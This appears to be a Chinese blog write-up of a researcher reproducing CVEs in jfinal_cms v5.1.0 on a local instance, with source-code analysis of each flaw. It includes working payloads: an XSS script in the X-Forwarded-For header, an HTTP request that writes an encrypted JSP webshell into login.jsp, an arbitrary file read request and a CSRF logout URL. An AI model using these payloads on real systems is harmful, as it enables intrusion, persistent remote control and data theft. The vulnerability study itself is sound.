jfinal_cms-v5.1.0

CVE-2022-29648

通过伪造的 X-Forwarded-For 请求头注入脚本。

他说到这个,我只能想到是这里来触发的。

代码

java 复制代码
public void index() {
		SysUser user = (SysUser) getSessionUser();
		if (user == null) {
			redirect(CommonController.firstPage);
			return;
		}
		setAttr("nowUser", user);

		
		// 最新文件
		Page<TbArticle> articlePage = TbArticle.dao.paginate(new Paginator(1, 10), "select t.*,f.name as folderName " //
				, " from tb_article t left join tb_folder f on f.id = t.folder_id " //
						+ " where t.status = 1 and t.type in (11,12) " // 查询状态为显示,类型是预览和正常的文章
						+ "  and f.site_id="+getBackSite().getId()
						+ " order by t.update_time desc,t.id desc");
		setAttr("articles", articlePage.getList());

		// 最新评论
		Page<TbComment> commentPage = TbComment.dao.paginate(new Paginator(1, 10), "select t.*,a.title articleName ", //
				" from tb_comment t " //
						+ " left join tb_article a on a.id = t.article_id where 1=1 order by t.id desc  ");
		setAttr("comments", commentPage.getList());

		// 最新用户
		Page<SysUser> userPage = SysUser.dao.paginate(new Paginator(1, 10), "select t.*,d.name as departname ", //
				" from sys_user t left join sys_department d on d.id = t.departid " //
						+ " where 1 = 1 and userid != 1 order by userid desc ");
		setAttr("users", userPage.getList());

		
//最新访问用户
//这里,
		Page<TbPageView> pageViewPage = TbPageView.dao.paginate(new Paginator(1, 10), "select t.*", //
				" from tb_pageview t order by id desc ");
		setAttr("pageViews", pageViewPage.getList());
		
		
		render(path + "home.html");
	}
}
java 复制代码
GET /jfinal_cms/ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For:11111111111111111111111111111111111
Cookie: JSESSIONID=6DFE67476CC97C638D80C87C93B29F4E; Hm_lvt_1040d081eea13b44d84a4af639640d51=1774610423,1774928205,1775025367,1775195452; session_user="VrhFVJS2SgewvZrFcwCawA=="; Hm_lpvt_1040d081eea13b44d84a4af639640d51=1775207566; HMACCOUNT=A2CF3FA6A7F759C5
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i

果然跟我直觉差不多可惜我找不着代码。

java 复制代码
GET /jfinal_cms/ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For:<script>alert('XSS æÑŸ')</script>
Cookie: JSESSIONID=6DFE67476CC97C638D80C87C93B29F4E; Hm_lvt_1040d081eea13b44d84a4af639640d51=1774610423,1774928205,1775025367,1775195452; session_user="VrhFVJS2SgewvZrFcwCawA=="; Hm_lpvt_1040d081eea13b44d84a4af639640d51=1775207566; HMACCOUNT=A2CF3FA6A7F759C5
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i

CVE-2023-47503

位于 login.jsp 的模板管理模块导致的RCE漏洞。

是直接用管理员权限改Jsp的代码来造成RCE的

java 复制代码
<%@ page language="java" pageEncoding="UTF-8"%>

<% 
response.sendRedirect("login");
%>

由于他前端不让我直接编辑,于是只能改包

java 复制代码
POST /jfinal_cms/admin/filemanager?config=filemanager.config.js HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 777
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/jfinal_cms/admin/filemanager/list
Cookie: JSESSIONID=98854D45F247A3BC40502F847710A50F; Hm_lvt_1040d081eea13b44d84a4af639640d51=1774610423,1774928205,1775025367,1775195452; session_user="VrhFVJS2SgewvZrFcwCawA=="
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

content=%3C%25%40page+import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22+%25%3E%0D%0A%3C%25!%0D%0A++++class+U+extends+ClassLoader+%7B%0D%0A++++++++U(ClassLoader+c)+%7B+super(c)%3B+%7D%0D%0A++++++++public+Class+g(byte%5B%5D+b)+%7B+return+super.defineClass(b%2C+0%2C+b.length)%3B+%7D%0D%0A++++%7D%0D%0A%25%3E%0D%0A%3C%25%0D%0A++++String+k+%3D+%22e45e329feb5d925b%22%3B%0D%0A++++session.putValue(%22u%22%2C+k)%3B%0D%0A++++Cipher+c+%3D+Cipher.getInstance(%22AES%22)%3B%0D%0A++++c.init(2%2C+new+SecretKeySpec(k.getBytes()%2C+%22AES%22))%3B%0D%0A++++new+U(this.getClass().getClassLoader()).g(c.doFinal(new+sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%0D%0A%25%3E&mode=savefile&path=%2Fjfinal_cms%2Flogin.jsp

修改成功

确认项目类型:Spring Boot 还是传统 War 包?

这是问题的核心,也是你之前"别人怎么连上的"这个疑问的根源。

· 如果是 Spring Boot 项目:默认不支持 JSP。必须在 pom.xml 中添加特定依赖,并配置 application.properties。在这种情况下,冰蝎的 JSP 马很可能无法正常工作。

· 如果是传统 War 包项目:通常可以直接访问 JSP。

由于我这是打包的,所以不行,能改就证明可以了。

java 复制代码
public void index() {
		HttpServletRequest request = getRequest();

		try {
			request.setCharacterEncoding("UTF-8");
			getResponse().setCharacterEncoding("UTF-8");
		} catch (UnsupportedEncodingException e) {
			e.printStackTrace();
		}

		FileManager fm = new FileManager(getRequest());

		JSONObject responseData = null;

		String mode = "";
		String path = "";
		boolean needPath = false;
		boolean putTextarea = false;
		if (!auth()) {
			fm.error(fm.lang("AUTHORIZATION_REQUIRED"));
		} else {
           //获取path
			String contextPath = request.getContextPath();
			// 设置contextPath
			fm.setGetVar("contextPath", contextPath);
//获取
			mode = request.getParameter("mode");
			path = request.getParameter("path");
//path != null
			if (path != null) {
				try {
//看请求
					if (request.getMethod().equals("GET"))
						path = new String(path.getBytes("ISO8859-1"), "UTF-8");
				} catch (UnsupportedEncodingException e) {
					e.printStackTrace();
				}
//检查path是否为空?
				needPath = fm.setGetVar("path", path);
			}


			if (request.getMethod().equals("GET")) {
				if (mode != null && mode != "") {
					if (mode.equals("getinfo")) {
						if (needPath) {
							responseData = fm.getInfo();
						}
					} else if (mode.equals("getfolder")) {
						if (needPath) {
							responseData = fm.getFolder();
						}
					} else if (mode.equals("rename")) {
						String oldFile = request.getParameter("old");
						String newFile = request.getParameter("new");
						try {
							oldFile = new String(oldFile.getBytes("ISO8859-1"), "UTF-8");
							newFile = new String(newFile.getBytes("ISO8859-1"), "UTF-8");
						} catch (UnsupportedEncodingException e) {
							e.printStackTrace();
						}

						if (fm.setGetVar("old", oldFile) && fm.setGetVar("new", newFile)) {
							responseData = fm.rename();
						}
					} else if (mode.equals("delete")) {
						if (needPath) {
							responseData = fm.delete();
						}
					} else if (mode.equals("addfolder")) {
						String name = request.getParameter("name");
						try {
							name = new String(name.getBytes("ISO8859-1"), "UTF-8");
						} catch (UnsupportedEncodingException e) {
							e.printStackTrace();
						}

						if (needPath && fm.setGetVar("name", name)) {
							responseData = fm.addFolder();
						}
					} else if (mode.equals("download")) {
						if (needPath) {
							fm.download(getResponse());
						}
					} else if (mode.equals("preview")) {
						if (needPath) {
							fm.preview(getResponse());
						}
					} else if (mode.equals("editfile")) {
						if (needPath) {
							responseData = fm.editFile();
						}
					} else {
						fm.error(fm.lang("MODE_ERROR"));
					}
				}
			} else if (request.getMethod().equals("POST")) {

				if (mode == null) {
					mode = "upload";
					responseData = fm.add();
					putTextarea = true;
				} else if (mode.equals("savefile")) {
					if (needPath && fm.setGetContent("content", request.getParameter("content"))) {

//返回响应,保存
						responseData = fm.saveFile();
					}
				}

			}
		}
		if (responseData == null) {
//报错
			responseData = fm.getError();
		}
		if (responseData != null) {
//展示,看mode
			String responseStr = responseData.toString();
			if (putTextarea)
				responseStr = "<textarea>" + responseStr + "</textarea>";
			log.info("mode:" + mode + ",response:" + responseStr);
			renderText(responseStr);
		} else {
			renderNull();
		}

	}
java 复制代码
public JSONObject saveFile() {
        JSONObject array = new JSONObject();

        try {
//文件内容
            String content = this.get.get("content");
//
            content = FileManagerUtils.decodeContent(content);

            //不严格判断
            bakupFile(new File(getRealFilePath()));
//写入
            FileManagerUtils.writeString(getRealFilePath(), content);
//返回包
            array.put("Path", this.get.get("path"));
            array.put("Error", "");
            array.put("Code", 0);

        } catch (JSONException e) {
            logger.error("JSONObject error", e);
            this.error("JSONObject error");
        } catch (IOException e) {
            logger.error("IOException error", e);
            this.error("IOException error");
        }
//返回array,json
        return array;
    }
java 复制代码
protected String getRealFilePath() {
//拼接
        String path = this.fileRoot + getFilePath();
//无过滤
        return FileManagerUtils.rebulid(path);
    }
java 复制代码
public static String decodeContent(String content) {
//replaceAll 是一种用于‌字符串中全局替换‌所有匹配子串的常用方法,广泛应用于多种编程语言(如 Java、JavaScript、R、Go 等)。
//转义
		content = content.replaceAll("&lt;/textarea", "</textarea");
//返回
		return content;
	}
java 复制代码
 protected void bakupFile(File src) throws IOException {
        if (!BAKUP_FLAG) {
            return;
        }

        String targetPath = FileManagerUtils.rebulid(src.getPath());
        String rootPath = FileManagerUtils.rebulid(this.fileRoot);
//startsWith() 是一种用于判断字符串是否以指定子串开头的常用方法,广泛应用于多种编程语言中。以下是主流语言中的实现方式和关键特性
//检查是不是真实路径,是不是rootPath开头
        if (!targetPath.startsWith(rootPath)) {
            logger.warn("bakup dir error:" + src.getPath());
            return;
        }
java 复制代码
//字符转
public static String rebulid(String currentPath) {
		String filePath = currentPath;
		filePath = filePath.replaceAll("\\\\", "\\/");
		filePath = filePath.replaceAll("//", "/");
		return filePath;
	}

键值存储

java 复制代码
//path path 值
public boolean setGetVar(String var, String value) {
//
        boolean retval = false;
        if (value == null || value == "") {
            this.error(sprintf(lang("INVALID_VAR"), var));
        } else {
//放入
            this.get.put(var, sanitize(value));
            retval = true;
        }
//返回
        return retval;
    }

CVE-2023-30349(现在无法复现)

位于 ActionEnter 函数的RCE漏洞

可以触发。

java 复制代码
@ControllerBind(controllerKey = "ueditor")
public class Ueditor extends BaseProjectController {

	public void index() {
//返回加密,失败的路径
		String out = new ActionEnter(getRequest(), PathKit.getWebRootPath()).exec();

// 获取人物
		TbSite site = getSessionSite().getModel();
		int userid = getSessionUser() == null ? 0 : getSessionUser().getUserid();
// 上传类型
		String actionType = getPara("action");
		int actionCode = ActionMap.getType(actionType);
		String contextPath = getRequest().getContextPath();
// 文件处理
		String handlerOut = new UeditorService().uploadHandle(actionCode, out, contextPath, site, userid);

		renderText(handlerOut);
	}
}

按照经验,exec看着就是命令执行一类的,所以先看一下他的代码。

java 复制代码
public String exec () {
		//猜测获取callback
		String callbackName = this.request.getParameter("callback");
		
		if ( callbackName != null ) {

			if ( !validCallbackName( callbackName ) ) {
//返回json
				return new BaseState( false, AppInfo.ILLEGAL ).toJSONString();
			}
//这里
			return callbackName+"("+this.invoke()+");";
			
		} else {
			return this.invoke();
		}

	}
java 复制代码
public String invoke() {
		
		if ( actionType == null || !ActionMap.mapping.containsKey( actionType ) ) {
			return new BaseState( false, AppInfo.INVALID_ACTION ).toJSONString();
		}
		
		if ( this.configManager == null || !this.configManager.valid() ) {
			return new BaseState( false, AppInfo.CONFIG_ERROR ).toJSONString();
		}
		
		State state = null;
		
		int actionCode = ActionMap.getType( this.actionType );
		
		Map<String, Object> conf = null;
		
		switch ( actionCode ) {
		
			case ActionMap.CONFIG:
				return this.configManager.getAllConfig().toString();
				
			case ActionMap.UPLOAD_IMAGE:
			case ActionMap.UPLOAD_SCRAWL:
			case ActionMap.UPLOAD_VIDEO:
			case ActionMap.UPLOAD_FILE:
				conf = this.configManager.getConfig( actionCode );
				state = new Uploader( request, conf ).doExec();
				break;
				
			case ActionMap.CATCH_IMAGE:
				conf = configManager.getConfig( actionCode );
				String[] list = this.request.getParameterValues( (String)conf.get( "fieldName" ) );
				state = new ImageHunter( conf ).capture( list );
				break;
				
			case ActionMap.LIST_IMAGE:
			case ActionMap.LIST_FILE:
				conf = configManager.getConfig( actionCode );
				int start = this.getStartIndex();
				state = new FileManager( conf ).listFile( start );
				break;
				
		}
		
		return state.toJSONString();
		
	}

由于页面丢失,我无法复现,我无法不看数据包,不看上下文,不看调试就看懂这个代码写的什么。不过应该是猜对了一半。

还是看以后吧。

CVE-2023-34645

任意文件读取漏洞

这个我都不想看了,一猜就是路径限制不完整,导致任意文件读取,然后最后渲染出来。

java 复制代码
GET /jfinal_cms/admin/filemanager?mode=editfile&path=%2Fjfinal_cms%2Fbakup%2Fyh.txt&config=filemanager.config.js&time=822 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://localhost:8080/jfinal_cms/admin/filemanager/list
Cookie: JSESSIONID=5138D8C3A1314192701ED010439A14BE; Hm_lvt_1040d081eea13b44d84a4af639640d51=1774610423,1774928205,1775025367,1775195452; session_user="VrhFVJS2SgewvZrFcwCawA=="
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
java 复制代码
FileManager fm = new FileManager(getRequest());

		JSONObject responseData = null;

		String mode = "";
		String path = "";
		boolean needPath = false;
		boolean putTextarea = false;
		if (!auth()) {
			fm.error(fm.lang("AUTHORIZATION_REQUIRED"));
		} else {
//获取path(前端)
			String contextPath = request.getContextPath();
			// 设置contextPath
			fm.setGetVar("contextPath", contextPath);

			mode = request.getParameter("mode");
			path = request.getParameter("path");

			if (path != null) {
				try {
					if (request.getMethod().equals("GET"))
						path = new String(path.getBytes("ISO8859-1"), "UTF-8");
				} catch (UnsupportedEncodingException e) {
					e.printStackTrace();
				}
//检查是否为空
				needPath = fm.setGetVar("path", path);
			}

else if (mode.equals("editfile")) {
						if (needPath) {
//读取
							responseData = fm.editFile();
						}
					} else {
						fm.error(fm.lang("MODE_ERROR"));
					}
java 复制代码
//path path 值
public boolean setGetVar(String var, String value) {
//
        boolean retval = false;
        if (value == null || value == "") {
            this.error(sprintf(lang("INVALID_VAR"), var));
        } else {
//放入
            this.get.put(var, sanitize(value));
            retval = true;
        }
//返回
        return retval;
    }
java 复制代码
public JSONObject editFile() {
        JSONObject array = new JSONObject();

        // 读取文件信息
        try {
//获取文件路径,读取
            String content = FileManagerUtils.readString(getRealFilePath());
//标签转义
            content = FileManagerUtils.encodeContent(content);

            array.put("Path", this.get.get("path"));
            array.put("Content", content);
            array.put("Error", "");
            array.put("Code", 0);
        } catch (JSONException e) {
            this.error("JSONObject error");
        } catch (IOException e) {
            e.printStackTrace();
        }
//返回数组
        return array;
    }
java 复制代码
protected String getRealFilePath() {
//拼接,getFilePath()可控,仅仅判断开头
        String path = this.fileRoot + getFilePath();
        return FileManagerUtils.rebulid(path);
    }
java 复制代码
public static String rebulid(String currentPath) {
		String filePath = currentPath;
		filePath = filePath.replaceAll("\\\\", "\\/");
		filePath = filePath.replaceAll("//", "/");
		return filePath;
	}
java 复制代码
protected String getFilePath() {
        String path = this.get.get("path");
        return getFilePath(path);
    }
java 复制代码
protected String getFilePath(String path) {
        String contextPath = this.get.get("contextPath");
        // 根目录
        if (StrUtils.isEmpty(contextPath)) {
            return path;
        }

        if (path.startsWith(contextPath)) {
//startsWith() 是一种用于判断字符串是否以指定子串开头的常用方法,广泛应用于多种编程语言中。以下是主流语言中的实现方式和关键特性
            path = path.replaceFirst(contextPath, "");
        }
        return path;
    }

CVE-2024-8694(这些我都没找到入口)

位于 /admin/template/update 的路径遍历漏洞。

CVE-2024-8706(这些我都没找到入口)

位于 /admin/template/update 的路径遍历漏洞。

CVE-2023-49375(这些我都没找到入口)

位于 /admin/friend_link/update

CVE-2023-49376(这些我都没找到入口)

位于 /admin/tag/delete

CVE-2023-49377(这些我都没找到入口)

位于 /admin/tag/update 的CSRF漏洞

CVE-2023-49379(这些我都没找到入口)

CSRF漏洞。

CVE-2023-49447(这些我都没找到入口)

位于 /admin/nav/update 的CSRF漏洞。

CVE-2025-6105

位于 HOME.java 的 Logout 参数存在CSRF漏洞。

复制代码
public void logout() {
//删除Session
		removeSessionUser();
//重定向首页
		redirect(CommonController.firstPage);
	}
public static final String firstPage = "/home"

http://localhost:8080/jfinal_cms/front/logout

自动退出登录

CVE-2021-40639(无法复现)

通过 /classes/conf/db.properties 访问敏感信息

无法复现

CVE-2021-37262(复现失败)

正则表达式注入,可能导致拒绝服务。

java 复制代码
protected String getFilePath(String path) {
        String contextPath = this.get.get("contextPath");
        // 根目录
        if (StrUtils.isEmpty(contextPath)) {
            return path;
        }
//转化

        if (path.startsWith(contextPath)) {
//确认首目录,替换
            path = path.replaceFirst(contextPath, "");
        }
        return path;
    }
java 复制代码
public String replaceFirst(String regex, String replacement) {
        return Pattern.compile(regex).matcher(this).replaceFirst(replacement);
    }
java 复制代码
 public static Pattern compile(String regex) {
        return new Pattern(regex, 0);
    }

CVE-2024-57665(无法复现)

位于 Content.java 的 title 参数存在SQL注入漏洞。

没找到

相关推荐
解救女汉子1 小时前
SQL触发器如何获取触发源应用名_利用APP_NAME函数追踪
jvm·数据库·python
weixin_520649873 小时前
数据库函数
数据库
Bert.Cai3 小时前
MySQL LPAD()函数详解
数据库·mysql
OnlyEasyCode4 小时前
Navicat 任务自动备份指定数据库
数据库
if else5 小时前
Redis 哨兵集群部署方案
数据库·redis
yejqvow125 小时前
Pandas 高效实现组内跨行时间戳匹配与布尔标记
jvm·数据库·python
了不起的云计算V5 小时前
从DeepSeek V4适配看国产算力的三个拐点
数据库·人工智能
qq_189807035 小时前
html标签如何提升可访问性_aria-label与title区别【指南】
jvm·数据库·python
norq juox5 小时前
MySQL 导出数据
数据库·mysql·adb
qq_349317486 小时前
mysql如何设置定时自动备份脚本_编写shell脚本与cron任务
jvm·数据库·python